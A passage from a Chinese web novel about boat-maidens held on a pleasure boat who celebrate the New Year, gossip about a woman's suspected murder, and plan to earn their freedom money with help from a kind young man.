她站在厨房里往门旁瞥了瞥,默默数了一下,如今楼下包括她在内的共有十五人。 而且,大家平日里又几乎都吃不饱饭。 虽说她在现世时,一般除夕那晚家中也就做八道菜,凑个吉利就行了。 但今日—— “要么就做十五道菜吧?” 褚朝云寻求了一下大家伙的意见。 方如梅是其余船娘里的代表,他们大抵是不愿太过麻烦褚朝云,便立刻赞同道:“行,那就十五道,我们帮你一块做,晚上还能早点吃上。” 徐香荷掰着指头算了算,“不如在弄一个汤吧?至少也要凑个双数嘛,双数更吉利!” “好,那就十六道。” 褚朝云去一旁净了手,拉过案板就开始准备起来。 由于厨房面积有限,放不下太多的人,所以有些洗菜择菜的活,大家伙就都在外面干了。 小炉子一升起来,热乎气也跑出来些,一群人干的热火朝天,倒也不觉得怎么冷了。 鱼虾猪蹄,都是必须要有的。 有些想不到的食材,她就拜托刘新才随便买些,没想到这一下子,还真买回来许多日常吃不到的。 褚朝云将食材全部递给徐香荷,叫他们先帮忙处理好,然后就可着凉菜先做,免得热菜做好冷的快,到时候还要回一下锅。 “朝云,凉菜里有肉吗?” 徐香荷捡出剥好了皮的一盘子虾,流着口水问。 有人听到她的话,立刻笑着看过来:“我早就发现香荷是个爱吃的,凉菜里都要找肉呢。” 徐香荷吐了吐舌头,还是一脸期待的望着褚朝云。 褚朝云伸手接过去了头和尾的虾,想想说:“要不就凉拌个虾仁怎么样?” “好好好!” 徐香荷忙点头。 褚朝云又说:“做酸辣口的吧?还是你们喜欢咸口的?” “酸辣吧!挺多年没吃到这一口了。” 方如梅感叹道。 褚朝云点点头,从柜子里取出酸梅汁和一小碗白芝麻,又在清洗过的蔬菜里挑出几样配菜,便着手开始切菜,煮虾,调蘸料。 厨房内外所有人都忙碌不停,气氛一时安静下来,有人就想挑个话题,大家好一起聊聊天。 许是平日总有管事看着,就连做梦都不敢想说什么说什么,今个突然松懈下来,难免就想讨论些隐秘之事。 褚朝云虽不怎么爱吃瓜,但也当成背景板听个热闹。 一开始,大家还收着点,只说些客人们的八卦。 但有几人越聊越上头,胆子大起来,就开始讲管事们的事情。 “其实我一直觉得,钟管事好像是哪个大户人家的小妾。” 话音一落,所有人都齐齐看向了她。 这里面自然也包括褚朝云。 徐香荷讶了几声,“不能吧?钟管事那等严厉的女子,也会心甘情愿去给谁做妾吗?” “反正不是妾就是外室,我听到过!” 那人煞有介事道:“有次傍晚我在船头刷用具,远远就看到一名小厮跑过来,样子似乎挺急的,嘴里说着什么叫钟管事快些回去,还有什么立规矩之类的话,那不是妾是什么?” “立、规矩??” “可不就是!这世道对女子不公,你们试想一下,什么人才需要立规矩呢?” “那万一……是她公婆之类的呢?” “但小厮管那位叫夫人,又不是老夫人,听起来是和钟管事平辈的,应该不会是公婆吧?” 众人默默无语,一时间还真不好分辨。 再加上钟管事往日也不算苛待他们,大家便不愿说些难听的话,做些不太好的猜想。 褚朝云正用小刀给南瓜刮瓤,听后,便想起自己曾去过的那处府邸。 虽说那府中上下物什多为仿品,但那么大一座宅邸,也是要不少银钱的。 更别说府内还有不少的丫鬟和小厮,他们的工钱也是一笔不小的开销。 她虽不太懂古代大家族里的那些事,但也觉得钟纯心,不像是个会做妾的性子。 话题一晃便过,就在她觉得余下的话没什么可听的时候,有人就又提到了一个名字。 “咳……你们知道……云娘吗?” 一听到这个名字,徐香荷下意识就看了眼她。 云娘的名字他们不能说不熟悉,因为几日前才从刁氏口中听到过。 褚朝云其实挺想多知道一些云娘之事,便主动开口加入进来,“听说,云娘在赎身前误食了什么,然后就——” “是啊,哎,也是福薄。” “什么福薄,她是被人害死的!” 方如梅忿忿插嘴,反正这里也没有其他人,就往小杌子上一坐,叹声道:“云娘死的那日,我正巧被个婆子使唤上去送酒,也就是那么巧,我刚到二层,就听到楼上的李婆子再跟钟管事吵架。” “吵架?” 众人愕然,不约而同看向她。 方如梅“嗯”过一声,又继续道:“不过就是李婆子不同意云娘下船,怕那有钱的老爷带云娘离开蕤洲,泄露了这里的事罢了。但钟管事倒是愿意把人给放了,只要云娘肯保证永不离开蕤洲就行。” “那就先答应啊,之后再做打算嘛。” “你想的太简单了,他们肯定会一直盯着云娘,反正怎么都不能离开蕤洲就是了。” 方如梅阻停他们的讨论,“主要是云娘太倔了,当即就说自己一定会离开蕤洲,大概是因为这一点,最终才送了命吧。” “若是这样的话,哪怕她不死,想必钟管事也不会放她走了。” “所以她到底是李婆子害的,还是……钟管事?” 说到此处,徐香荷抬头看了他们一眼,“云娘之事虽说可惜,但这事的重点难道不是赎身么?只要有钱赎身,又能保证不离开蕤洲,那下船不就有希望了?!” “对对对,但那可是五百两啊,去哪里弄!” “是不好弄,不过既然有希望,总要尽力去试试吧?” 话题一绕回到赚钱,大家伙就又看向了褚朝云。 褚朝云无奈地晃晃手中食材,不得不提醒他们:“先做年夜饭。” 女子将捣好的南瓜放锅子里蒸,嘴角却轻轻飞扬了下。 不知不觉间,这日子似乎有了点盼头,只是那些银子确实不是个小数目。 其实她也想试试,自己到底有没有能力下这条船! 夜晚来临时,蕤洲的夜空被十里长街亮起的剪纸灯笼照的灿亮,家家户户炮竹连天好不喜庆。 饭做得了,不过大家没忙着去吃,而是各自回房去换了红裙出来。 钟管事给他们定做的,是一套外罩红纱的裙装,包头的布巾也是红色,虽说款式大众,可徐香荷手巧,还是给褚朝云绾了一个漂亮的发髻。 “朝云,你今天可真漂亮啊!” 徐香荷这梳的一手好发髻,还是跟她阿娘学来的。 又看了看女子瘦削秀气的面庞,徐香荷兀自念叨一声:“就是缺了点脂粉诶。” “不缺不缺!自然美才最漂亮!” 方如梅在门外往里瞄,笑着赞叹道:“朝云刚来的时候还有些黑,这阵子倒是白起来了,许是又长开了些,出落了倒是越发好看了。” 褚朝云没那么讲究,被他们这么一夸还真有点不自在,“走,上去跟我端菜。” 一行人浩浩荡荡又去了厨房,不多时,一盘一盘的菜就端了回来。 隔间里坐不下太多的人,他们就挤着坐了三桌。 门开着,油灯点着,大家伙聊起来也方便些。 方如梅将藏着的几包梅粉取出,刚好给每人冲了一杯香饮子喝。 上船这么久,今个倒是她们过得最惬意放松的一天,互道“新年快乐”之后,褚朝云一清喉咙,开始给大家介绍起来。 “这一道叫年年有余,这个是花开富贵……” 女子手指纤细,一道道菜指过去,全部都取了好听的名字,“这是十全十美,蒸蒸日上,吉星高照,金玉满堂!” 陆陆续续报完菜名,十五道菜式有荤有素,外加一盆香甜滑腻的南瓜汤,一群人纷纷迫不及待动起了筷子。 几口吃食下肚,又喝了一大碗热汤水,船娘们庆祝新年的兴致也越发高涨。 “今天可真高兴啊,不如咱们来许愿吧?” “好好好,那我先来,我祝大家……今后的每一天,都能过的像今日这般高兴!” “那我就祝咱们早日赚得五百两,然后一起下船去!!” “这个好这个好,那就愿明年的今日,大家都能在船下相聚吧!!” 船娘们举杯欢庆,每个人的面上都洋溢着甜甜的笑容。 褚朝云每道菜都尝过几口,就起身独自去了船上。 虽说她已经把船娘们都当成了自己的家人,但在这个世界里,她还有真正的家人不能团聚。 褚朝云站在船口,看了一眼码头的位置,又看向姑娘们所住的院落方向。 心想,还是愿这条破船快快倒闭,从此蕤洲再无船娘才好! 虽说今个钟纯心给他们放假,但码头依旧有人看守,只是相对从前来说,要松泛许多。 褚朝云不喜看到他们,于是便走去另一侧,往东码头那处遥望。 东码头距离花船甚远,但也还是能依稀辨别出些光亮。 正静静看着远处,忽的听到有小船划来的动静,船桨一下下拨着水面,清澈的流水声,倒给这喜庆的日子增添了些独特的韵味。 褚朝云不由得偏头望去,眼见船头,银月之下,正站着名身着红衣的男子。 夜色下,男子身量修长,面容带着几分清隽儒雅,红色衣衫本该衬得气质如火,可宋谨却穿不出什么妖艳感,天生的温润直接将这件衣衫的本质都掩盖住了。 只剩玉一般的温敛,似乎还多了点俏。 徐香荷那句“俏郎君”又出现在她耳畔,褚朝云不禁“噗嗤”一笑,心说,确实挺俏的。 宋谨听闻她的笑声,便立刻将摇摇晃晃的小船停稳,而后抬头望来,面容有些许轻怔。 宋谨认出来了,船上站着的红装女子,正是那晚下水遇上的那位。 看了一眼身后半船的棕丝和莎草,宋小哥便礼貌的对着女子行了一礼,“姑娘,敢问……褚朝云褚姑娘此时可在船上?” 褚朝云听后又是一笑,却似故意般道:“这位公子,你找褚朝云做什么?” 宋谨温和的解释来意,指了下船舱内,“帮忙给她送些东西。” “送东西?什么东西?” 女子有些好奇。 刘新才昨个只是送了些年夜饭的食材过来,并且也叫春叶带话给她了,年前实在寻不到卖莎草的摊子,实在不行就跟阿四商议一下,年后在做鞋套好了。 女子说着,便轻巧的从花船上跳到小船中。 船身摇晃了下,宋谨忙撑稳船桨。 男子面有惊异,见对方竟直接跳下来,一时间倒有些拘谨起来,“这——那褚姑娘——” 他话未完,女子就往前走了两步。 月色下,二人间的距离缩短了些,斜影伴水轻晃,女子便笑着看向他,大方道:“宋谨,我就是褚朝云。” 第70章 一更 褚朝云说完,便看着宋小哥笑,女子眉眼弯弯,俏皮灵动。 而宋谨微微愕然之后,也轻轻摇了摇头,唇畔流露出的笑意则如玉般明澈。 二人皆是一身红衣,加之河岸灯火也澄明剔透,飘渺的红芒下,他们彼此忽的产生一种莫须有的错觉来。 为了不让彼此尴尬,二人便都不自然的轻咳了声。 褚朝云绕开宋谨往船舱内瞧,先是看到半船的棕丝和莎草,后又发现阿四叔的渔船,似乎比他们平日所用的小船看着还要宽敞许多。 “装了这么多的莎草,竟还能放下小几?” 女子惊讶了声,随即又往内探去,进而神情更加震撼:“还有炉灶?” 未免二人在船上走动,导致船身总晃。 宋谨就一手按着船桨稳住小船,而后偏头看着她说:“偶尔阿四叔一家会在船上做饭,渔船停靠河岸,便不会这般晃动了。” 想到日常偶尔几条渔船上飘来的饭香,褚朝云笑着点点头:“这船倒是方便又实用。” “你吃年夜饭了吗?” 她回头问道。 其实褚朝云刚刚在暗仓时并未吃饱,倒不是说和船娘们一起用饭不香,实在是……本该团圆的日子她却无法和褚惜兰、褚郁相聚,再加上刁氏昨个又刚下船去,这一连串的变故多少让她不太舒爽。 但钟管事既然主动提了,刁氏就也必须立刻下船,免得被李婆子提前知晓,再发生一次云娘那样的惨剧。 一切事由虽出自无奈,但她心中还是有些烦乱。 而方才跳下之后,许是内心有了一种短暂的脱离了花船束缚的自由感,这会儿,她忽然又觉得有点饿了。 宋谨昨个拿到船便去了一趟东码头,只是去的稍晚,勉强赶上个散集的尾巴。 虽说他还真碰到了一家卖莎草的,但昨日是最后一天出摊,今个便关张回家去和家人守岁了。 宋谨心知褚朝云赚点银钱不易,毕竟答应了阿四年节一过就交货,失信未免让渔民们留下不好的印象,就和那老人家商议,今个午时亲自去那人家中取。 那老人家见生意上门也不想放过,买主又能来家中取货,自是喜乐的满口答应。 只是那人家住的偏僻,距离东码头还有几里路要走。 宋谨午时上门,提着那人打包好的棕丝、莎草和蒲葵,一路披霜带雪的,总算将那些物什给弄上了船。 由于出来的急就忘了拿手套,双手提着不算轻的物什在风雪中冻了多时,一到船上,手指便麻木的没了知觉。 他坐在船内缓和许久,才重新觉得暖和起来。 那时,独自在船上看着万家灯火,宋谨其实也有些想不通自己。 虽说二人在机缘巧合之下互帮互助过几回,但总归是个连面都没见过的路人,他何至于做到如此地步。 可如今真的见到了褚朝云—— 宋小哥虽依旧想不通这一点,但心中却觉得此行值得。 宋谨才从东码头回来,腹中只添了些冷茶。 他习惯性的应了声“吃过了”,没想到褚朝云紧跟着就追问了句:“哦?那宋公子都吃了些什么呀?” 女子眼眸晶亮,笑着看他时,他便局促的坦言道:“抱歉,是我说了谎……” 他耳朵什么时候红的自己倒是不知,可褚朝云却是看得一清二楚。 褚朝云摸摸空落落的小腹,回想着厨房里还剩下哪些食材,随即丢下一句“稍等”,便又轻盈的上了花船,快步进了厨房里。 宋谨站在原地看着女子的背影,似乎懂了对方刚刚为何要那样问。 褚朝云不喜欠谁的人情,而且他方才划船过来的方向是东码头处,加之眉间染上的清雪还没完全化掉,渔船上又没备吃食,随便一想,谎言就被拆穿了。 褚朝云是往东码头去过一次的。 她深知这一段路,走下来究竟有多疲累。 女子看破不说破,心思精明却又知晓分寸,宋谨看着厨房里忙碌着的身影,立刻进到船舱内帮忙把莎草给提出来。 他一路上喝的是冷茶,因为害怕点了炉子会烧着那些物什。 直到将货物都卸掉之后,才敢去生火,又重新再小炉子上煮了一壶热茶来。 不多时,饭便做得了。 其实褚朝云也没做什么菜,只是就着那没用完的馅料和面,包了一盘虾仁菘菜的饺子出来。 大祁没有生抽,但是褚朝云一直觉得清酱的味道和生抽蛮像的,平时做菜偶尔用来提个味,今个刚好倒了两小碟来蘸饺子吃。 她把盘子和碗筷递了过去,又将几捆莎草拖到厨房里暂存,然后下去小船,和宋谨一块进了船舱内坐。 这条小渔船的船篷很大,也就船头船尾没有做遮挡,日常在船内做些什么外面是看不到的,隐秘性倒是挺不错的。 褚朝云当真喜欢这渔船,刚好进来吃饺子,顺便也能感受一下舒适度。 未免岸上的看守注意到他们,宋谨就将船划远一些。 小炉子上的茶壶咕嘟咕嘟煮着,一股股热气儿很快就温暖了船舱,小几上放着一盏煤油灯照亮,再就是那盘刚煮好的饺子了。 虾仁菘菜馅儿,吃的就是一个鲜。 因为虾本鲜嫩,而菘菜质地又好,咬起来脆爽清甜。 再加上褚朝云如今的手艺越发提高,这一口馅料咬开,爆的满口腔都是滑嫩的汁水。 褚朝云着实想这一口饺子,奈何这里的人都爱吃扁食,其实若按照她这个地地道道现世人来讲,两者间多少是有那么点小差距的。 女子能在除夕守岁时吃上饺子,内心顿时舒爽多了。 她连续吃了两个,才看到宋谨还没动筷子。 褚朝云抬着那双漂亮的眼眸看他,疑惑问道:“你不喜欢吃这个?” “那倒不是。” 宋谨只是有些不好意思,还有就是……看褚朝云吃的欢快,想可着女子先多吃些。 褚朝云很快就瞧明白了他的心思,“噗嗤”一笑,把盘子往他面前推了推:“那你吃,我刚刚已经吃过饭了,只是不吃点饺子,总觉得这除夕夜缺了些什么。” “饺……子?” 宋谨温和的重复了句。 “嗯,我们家那儿过年都要吃饺子的。” 女子满眼怀念,撑着下巴回忆过往时,就见身上这裙装被油灯照的仿佛更艳丽了。 再一瞧对方也差不多。 顿时哭笑不得道:“这蕤洲什么习俗,非要过年穿红么?我们老家只有……咳,才穿红。” 说到重点词汇上,她直接就没好意思讲出来。 他们此刻身着红衣,又对坐着用饭,确实时不时,就会让人往那个方向去想,哪怕这并非她的本意。 但是思想这个东西,有时,还是有它自己的回路的。 褚朝云说完,就见宋谨筷子一顿。 灯火下,男子的耳尖又红了一下,她下意识瞥向别处,刚好听到对方传来一声:“我们青州……亦是如此。” 或许是这阵子听了太多遍的青州,褚朝云讶了声,好奇道:“你也是青州人?” “……我是。” 宋谨声音很浅,低低回应道。 和否认曾阳的那一回不同,对着褚朝云,他并不想说假话。 但褚朝云对青州知之甚少,且那个地方也没什么能吸引她的,就也没再继续问了。 二人在船上坐了好一会儿,褚朝云已经吃饱了饭,宋谨就给她倒了一杯热茶,自己则继续慢慢吃盘子里的饺子。 褚朝云低头喝茶,脑海里不禁又浮现出刁氏还在船上时的日子。 那时她总会研究些好吃的给他们开小灶,每每刁氏和徐香荷吃过,夸厨艺大会就在那间小屋子里开起来了。 女子想着想着兀自一笑。 因为像宋谨这样,吃了她做的饭还默不作声的,她确实没碰到第二个。 反正闲着也是闲着,褚朝云就随口问了句:“宋谨,你觉得这饺子好吃还是蕤洲的扁食好吃?” “饺子。” 宋小哥立刻回应道。 “其实扁食味道也还不错的。” 褚朝云真心实意道。 宋谨也弯起眉眼,露出一个清润的笑来:“但不如油茶好。” 饺子,油茶。 都好。 他略微抿了下唇,并没有把心中的话讲出来。 褚朝云不知他对“好吃”的评判前提是“褚姑娘做的,所以好吃”,但见宋小哥和她口味相同,倒是难得的有点高兴。 眼见着时辰越来越晚,孤男寡女总不好一直坐在船上,褚朝云这会儿就准备要回去了。 不过临走前,她还是惋惜地摸了摸那质地柔软的船篷。 也不知是用什么编的,软却不塌,看着也很抗风,这手艺倒是挺精妙的。 “我要是,也能有这样一条小船就好了。” 听她这么说,宋谨便问道:“姑娘需要这船……是想用来做些什么吗?” 褚朝云和他话比较投机,就愿意多说两句:“婶子下船去了,以后采买的事情也就无人接替了。刘老板他们虽说偶尔会给我送些东西,可毕竟不好太过频繁,眼下是那些管事想不到我会跟客人有联系,若是哪日盯上这事,那可就难办了。” 如果能有这样一条隐蔽性好的小船,再找个帮着采买的人,东西买多一些也有地方放置,想做什么吃食也可以到这里来。 那好处可就太多了。 或者换句话说,距离攒够那五百两,简直等同于迈进了一大大步啊! 她说完又不住的哀叹一声,正要说“算了,还是待日后再慢慢商议吧”,宋谨就犹豫道:“我来这边也不算很多年,但往常确实听过一些渔民会把自家船只租售出去使用,有些渔民一人就有好几条,大概东码头那边,会多一些?” 西码头实在荒僻。 东码头那等繁华地带,生意也会做的更广泛些。 一听这话,褚朝云顿时喜上眉梢:“真的?那可以拜托你去帮我问问吗?” “好,我明日便去。” 宋谨办事叫人踏实,褚朝云倒是很放心。 可一想到这采买的人也不好找,女子眉梢则又轻轻皱了下。 宋小哥看出她的烦恼,垂了下眼,而后轻声说:“若姑娘不嫌弃,我倒是可以帮你去买。只是我平日有差事在身,大概不能日里夜里都守在船上。” 褚朝云听了“咯咯”笑,就觉得这小哥老实的过分:“那当然呀,就算是真雇了人,我也不能叫人家日里夜里都守着船,那岂不成了黑心的老板。” 宋谨也无奈地笑了一下。 褚朝云想罢之后,又道:“那朝云先多谢宋公子的帮忙了,不过一码归一码,我没有白占人家便宜的道理,我会付银钱的~” “那倒不必。” 宋小哥果断回绝。 他并不想赚褚朝云的银钱。 可说完之后,又怕女子会想多,就指了指面前的空盘:“这顿饺子,便是报酬了。” 而褚朝云一听又要笑:“那你未免太亏了点,采买是长久之事,哪有一顿饺子当一辈子用的~” 话落,二人皆是一怔。 褚朝云忙纠正:“用词不当用词不当!有那么些许的……夸张了,但你应该,咳,知晓我的意思……” 宋谨闻言也笑了下,似是并不那么介意话中歧义:“明白的,但若是褚姑娘不想欠宋谨什么,那日后如有空闲,可以再给我……包一些饺子吃么?” “当然可以。” 刚好她也喜欢吃饺子。 褚朝云起身上了花船,回头看一眼站在船头的男子,想到自己那日磨的一些糯米酪粉还有剩余,就找了纸袋快速包出来一份。 无论如何,宋谨只吃她几顿饺子就如此帮忙,确实还是血亏。 她微微伸手将纸包递来,笑道:“宋谨,这个送给你吃,比油茶还好吃的。” “多谢朝云姑娘。” 宋谨双手接过,好好的将其放在怀中,这才划船离去。 …… 一夜之后,花船又重新开始营业。 只是尚在新年,客人们倒稀少的可怜。 昨晚的守岁船娘们堪堪熬了一夜,褚朝云也明白,他们自从上船之后,大抵就没再做过守岁之事,所以也没去催他们早些睡觉。 反正她自己倒是见完宋谨就回去睡了,免得今天没有精神头干活。 一群船娘坐在船尾洗衣裳,褚朝云就小声跟他们说话:“东西都备齐了,今晚大家就开始做鞋套。” 说完抬头看了眼船头,管事们早早就下船去躲懒了,就连楼上的婆子也是哈欠连天。 大家都想早点收工,没谁愿意过节期间还在这里熬着。 所以他们偶尔说上几句,根本没人理会。 不过这个消息着实点燃了大家伙的热情,船娘们一听又有了赚银钱的活,当下就豪气道:“这回我一定要买盏油灯回来,否则可太费眼睛了。” “听说药铺里的甘菊泡茶对眼睛很好,看来我也得备上一些。” “我想喝香饮子了,甜甜的,我喝着高兴。” 徐香荷实在不愿破坏他们的美梦,只不过,有些事实在无情,也得做出提醒:“各位姐姐婶子们,刁婶子下船了,以后想采购东西,可就没人了。” 众人一听,积极性顿时削减大半。 褚朝云起身提着桶去船头接水,心中也惦记着租船的事,所以这会儿,她就格外注意着东码头回来的船只。 正张望间,远远就瞧见河面上出现了一条小船,船头,似乎有人戴着斗笠正慢慢往这处划来。 那人身着红衣,款式看着也有点眼熟。 只是这距离还有些远,看的并不是那么清楚。 褚朝云故作拖沓,慢慢的接水消磨时间,待船只近了一些,划船之人便摘掉斗笠,露出那张熟悉又清隽的面孔来。 真是宋谨! 女子顿时站起身来。 而宋谨似乎早就看到了她。 为了不引起旁人注意,宋小哥只是抬手指指脚下船只,又做了个“事成”的手势,就划着船缓缓走远了。 宋谨带回来的船和阿四的不太一样,似乎比阿四那条还要好,还要大些。 虽说只是租来的,但女子乍一看到还是满心欢喜。 太好,这是她的船! 她竟然也有船了!! 褚朝云喜上眉梢,就连手上的力气都大了不少。 她直接提了两桶满满登登的水回去,坐下便道:“姐姐婶子们!你们刚刚想要的那些,都有着落了!今后咱们的采买,也都不用发愁了!” 船娘们微微错愕,恍惚之后,忽的激动着看向了她。 尤其徐香荷,想笑又不敢太夸张,只能压住自己毛躁的性子,尽量低声偷偷的问:“你想到办法了?还是雇到长工了?” 褚朝云听到她的话,就也有些想笑。 不过随即一想,她确实算是雇了个长工回来,还是个爱吃饺子的俊俏长工~ 此地不宜说的太多,提前宣布也是怕船娘们真没了积极性,大家好不容易燃起点希望,这股劲自然要趁热打铁。 而方如梅一看她的表情,便知褚朝云的话是真的。 方如梅深吸口气,搓了搓手,神情奋然的给大家伙打气道:“好好好,既然一切都准备妥当了,那我们还犹豫什么?姐妹们,为了自由,咱们就跟着朝云大干一场吧!” “好,大干一场!!” 众人立刻应喝道。 70-80 第71章 一更 因着年节这阵子客少,船娘们要干的活也就不多,所以大家每晚早早收工,点了油灯就开始做鞋套。 鞋套其实要比手套更好做些,还有阿四提前统计出来的尺码做参照,所以不出五日,这鞋套就全部完工了。 但渔民们此时尚在家中过节,还不到交货日子,所以做好的鞋套就被褚朝云先放到租来的小船。 而宋谨既然应了要帮忙,就也没闲着。 他基本每隔两日,就会划小船到花船来找褚朝云一次。 询问些要买的东西,在送来一些已经采购到的,就这么日复一日的,宋小哥不仅不嫌麻烦,偶尔还会早到一点。 若是褚朝云忙着没有出来,他便在船舱内烹一壶茶,独自坐在其中观河上的风景。 蕤洲这个地方,从前其实并没有让宋谨多么喜欢,因为他是从死人堆里惊醒之后,才发觉自己其实还活着。 只是后来,他遇上了师父,朱力和一众同僚兄弟,慢慢的,才决定想留下来。 但……那年,今时,时过境迁,宋谨似乎又有了不同的感悟。 好像自从除夕那晚过后,他的日子仿佛过得更踏实了些,就连每每总做的那个噩梦,近几日也没在出现过了。 宋谨知道褚朝云喜欢空间大一些的船篷,初一一早就去了东码头挑选。 他搭了一条船过去,选了最大的一条,但大一点也总有大一点的弊端,就是价钱上有些偏贵。 小点的船,月租为三两银子,这种大上足足两倍的,则需要六两一月。 宋谨和那人磨了半天嘴皮子,最终讲到五两一月。 一个月五两,其实对褚朝云来说还是有着不小的压力,因为长业寺才给她每月二钱,女子半喜半忧,仿佛又找回了在现世还月供的感觉。 不过她觉得宋谨还是蛮厉害的,每月多省出一两,也不知他到底跟那人说了什么,人家才愿意这个价格租给他们。 褚朝云坐在船板上和宋谨说话,“刚好新年的这个初一不用去长业寺做饭,否则还真有点忙不过来。” “等到天暖就好了,到时你就不必总是把船划过来,我可以自己游过去~” 宋谨听着她说话,将温着的茶递过来一杯。 褚朝云咕咚一口喝光,说了句:“好茶!” “下次再泡给你喝。” 宋小哥还有巡逻的任务在身,将新买回来的五花肉,以及一些褚朝云需要的杂七杂八全递过来,便划着船离开了。 褚朝云拎着那半肥半瘦的五花肉颠了颠,决定明日之事明日再愁,今个先好好的吃一顿再说。 她上次的梅花小饼做的成功,很得程月喜欢。 于是,程娘子就将自用的这个烤盘工具送给了她。 褚朝云将五花肉拿进厨房,好好的清洗了几遍,又切了些野姜,把一整块的肉和姜片下到锅子里慢慢的炖煮。 这肉被摊老板提前处理的干干净净,连肉皮的部分都刮的细腻光滑。 趁着煮肉的功夫,她将竹筐里的菘菜扒出几片叶子泡进水里。 这菘菜本就质地不错,闻着都清香中带甜,入了水后,洗去表面的浮灰,看着就更加水灵。 褚朝云没有准备主食,今日就打算吃肉吃到饱了。 煮好的五花肉出锅晾凉些,她又将自己改良过的鲜香料包里拌了点蒜瓣,稍微兑入点水,混合成浓汁抹在肉上。 正欲将整块的肉放到烤盘中,又一想,这样烤出来,里面是不是会淡而无味。 而且也费火。 就又取了菜刀在肉身上划了数下,不过没有完全切断。 等待那浓汁渗入进去,褚朝云拿筷子将肉皮扎了一堆的小孔,实在是肉皮的部位不好渗透料汁。 她从前刷美食视频时,看到有博主科普过,若是想让肉皮变得焦脆,可以在上面涂一层白醋。 其实之前她做菜,一直用橱柜里的酸梅汁代替醋用。 也是后来拜了程月为师,师父才带着她把橱柜里的调料全部都认了一遍。 放清酱的小坛子旁边,还有一只罐子是她从没打开过的,因为看着瓶身精致,有些不太敢擅自动用。 程月告诉她,那是醯。 起初她不知醯是何物,后来亲自尝了一口,差点酸掉眉毛,才知晓原来这醯,就是大祁所用的醋了。 不过醯不是白色的,颜色倒有些偏棕,像是现世用的陈醋那种。 也不知到底行不行。 褚朝云取了一点醯来,将其均匀的涂抹在肉皮之上。 感觉有点黑暗料理的嫌疑…… 她盯着那腌制中的肉看了好一会儿,待浓汁渗透的差不多,就将其放到了烤盘上。 反正也是自家吃的,失败就失败了呗。 她蹲下身拨弄几下灶坑里的火,将烤盘放下去,自己则坐到门旁的小杌子上,静静等待着。 时间一分一秒过去,猪肉被火烤出来的香味就一点点的蔓延了出来。 闻着确实挺香的。 褚朝云愉悦的想着。 炙烤途中,她也不忘时不时的给猪肉条翻几个面。 又过了好一阵子,眼见着烤盘里的猪肉慢慢变焦,色泽逐渐呈现出能激发人食欲的状态。 尤其那溢出来的油脂,一滴滴滚下来沾染到了猪肉表面,就像是刷了层晶亮油润的膜。 褚朝云不知五花肉是否烤到了位,就小心翼翼地伸下去一根铁筷子扎了扎。 “咔哒——” 一筷子下去,再捅穿了表皮的硬壳之后,内里的部分却格外的丝滑绵软。 并且形成了一种独特的治愈感。 瘦肉的部分触感倒是没这么细腻,但是肥肉部分,就这么用筷子戳上几下,都觉得会是很好吃的样子。 褚朝云惊喜的笑了下,将烤盘拉上来,借着筷子的力道把滋滋冒油的五花肉放到案板,然后就大刀阔斧的切成了厚片。 其实她喜欢整个咬着吃,一口流油而且满口酥脆,但嗷嗷待哺的吃货不止她一人,还有徐香荷。 刁氏走后,她和徐香荷两个人吃饭都不觉得香了。 为了让彼此振作起来,褚朝云才不惜耗费功夫,想要弄些好吃的来。 切好的五花肉连带菘菜叶一块带回了隔间,如今刁氏的隔间被锁起来,他们的聚集地就换到了褚朝云那里。 徐香荷正窝在床榻上发呆,手里抱着针线筐,也不知道自己到底想干点什么。 闻到肉香之后,女子才醒了下神,舔舔唇道:“什么东西这么香?” 褚朝云把吃食放下,针线筐从她手里抢出来,放到一边说:“是什么,你自己尝尝便知~” 二人围坐一块,油灯将盘子里的肉和菜都照的晶亮。 这烤肉的香味绝非寻常之物可比,徐香荷的馋虫顿时被勾了出来,一张小脸上总算多了些笑模样。 “是猪肉!” 她笑着拿起筷子夹了一口,“唔!肥的香,但是有点腻,但还是香!!” 徐香荷一口就被香的发晕,说话都有点找不到重点。 褚朝云拿起一片菘菜叶,往上面包了两片五花肉块,用手一卷,一咬嘎巴脆道:“空口吃不成,包起来就香而不腻了。” 褚朝云边吃边回应她,吃到肉皮的部分还特别细嚼几下。 她发现这肉皮脆是脆的,但还是不如白醋效果更好。 正琢磨着这种情况还有什么办法能改善时,一旁的徐香荷就激动道:“唔唔唔,这肉皮怎么这么酥脆,好像那个……猪油渣!” 对于没吃过现世五花肉皮的徐香荷来说,这就已经是最酥脆的了。 看来效果也算不错? 褚朝云心满意足的笑了下,递给徐香荷一片菘菜叶,自己又拿了新的一片开始卷。 二人美美的吃了半晌,徐香荷兀自叹了一声:“朝云,我知道你是怕我难过……婶子下船去了,我其实一点嫉妒她的心都没有,反而还很想她。” “有时候人真的挺矛盾的,我既想她下船去过好日子,又想她留下来陪着咱们,我可能……太贪心了。” 褚朝云伸手拍拍她,“你这算什么贪心?既然想贪,那就再贪的大一点好了。” “什么叫做贪的大一点?” “下船呀。” 褚朝云笑呵呵道:“想办法下船就行了。” 提到这个字眼,她一下子又把徐香荷的劲头给拉足起来。 徐香荷吃累了就靠在床榻上,然后跟她聊起天来,“朝云,有件事我一直惦记着。现在天冷,你做的吃食还能往外卖一卖,假如天热了呢?又要怎么办?” 女子说着自己都有点不好意思了,她好像总喜欢给大家泼冷水。 其实,她就是有点害怕。 害怕想要的,总是抓不住留不下。 以前阿娘也告诉过她不要怕,可在某天醒来之时,说好要一直陪着她的人,就永远的不见了。 而褚朝云也深知这一点。 打从她遇上徐香荷的第一天起,就觉得这姑娘表面看着嘻嘻哈哈,实则心中一点安全感都没有。 不过徐香荷提到的事情她也想过,他们一步步走到今日有多么不容易,其中的心酸只有自己知晓。 如今船都租了,还怕什么困难。 “反正趁着能做糖的时候还是要做,毕竟这是对女子有益的事情。” 她坚定道。 刘新才那儿的红糖姜茶都断货好些日子了,蔡家说帮忙问甘蔗,想来也是一直没遇上出摊的人。 不过总能遇上的。 就像她和宋谨。 褚朝云想。 徐香荷听着她的话,不知想到什么笑了一下,然后就边笑边说:“现在我们有船了,等到天暖你想做什么也可以去小船里,到时候、到时候我就游水过去帮你了!” 褚朝云想想那个画面也觉得有趣,“下次咱们做张大网来网鱼虾,至于那两只小竹筐,就让它们先退休吧。” 徐香荷“嗯嗯”点头,又笑个不停。 笑过才想起问:“什么叫做退休?” “退休就是……有闲,有钱,看遍河山!” 她狡黠一笑。 徐香荷跟着她的描述,不由得也憧憬起来,“我觉得那样的日子,还真挺好的诶~” 接着,二人依偎在一起。 慢慢的,过完了一整个新年……- 眼看十五将近,褚朝云将改良之后的素斋食单又重新整理一遍,也该收拾收拾准备去长业寺了。 她和清禅约定,每次都提前一日过去。 所以明日午后,徐大和徐二就会过来接她。 